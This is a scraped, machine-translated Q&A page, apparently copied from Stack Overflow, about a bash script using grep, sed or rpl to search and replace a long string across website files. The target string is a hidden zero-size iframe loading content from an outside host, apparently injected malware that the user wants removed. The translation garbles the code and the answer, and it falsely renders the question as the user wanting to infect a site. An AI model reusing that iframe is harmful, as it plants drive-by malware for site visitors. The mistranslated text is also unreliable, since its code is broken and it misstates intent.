shell - How to pass long strings for search and replace in a bash, sed, or rpl script? -


I am working to create a script which will take a string as an argument and again in a directory Will change Simple case (a word) is handled in a commendable way by finding and replacing the script:

grep -rl $ 1 | Xargs sed -i .backup -e "s / $ 1 / $ 2 / g"

But here some things get a bit more difficult to deal with I'm trying to get a malware script that I wrote to infect a website (but not the host):

& lt; Iframe src = "http: // reycross cn / cua /" width = 0 height = 0 style = "hidden" frameborder = 0 margin-bit = 0 margin width = 0 scrolling = no & gt; & Lt; / Iframe & gt;

This string is clearly complex and will require some escape for both. I have experimented with RPL, a special purpose replacement tool, but it does not properly control white space:

rpl -pR $ * '* * * *

However, I'm able to change the $ * with the string and get the expected behavior. Any ideas about how to dispute a tiger, sed, or RPL to a cute extract-long-string.sh? The reason for this is that every argument divides each argument with $$

itemprop = "text">

The reason:

>
  rpl -pR "$ @" '' * *  

Comments

Popular posts from this blog

c# - ListView onScroll event -

PHP - get image from byte array -

Linux Terminal Problem with Non-Canonical Terminal I/O app -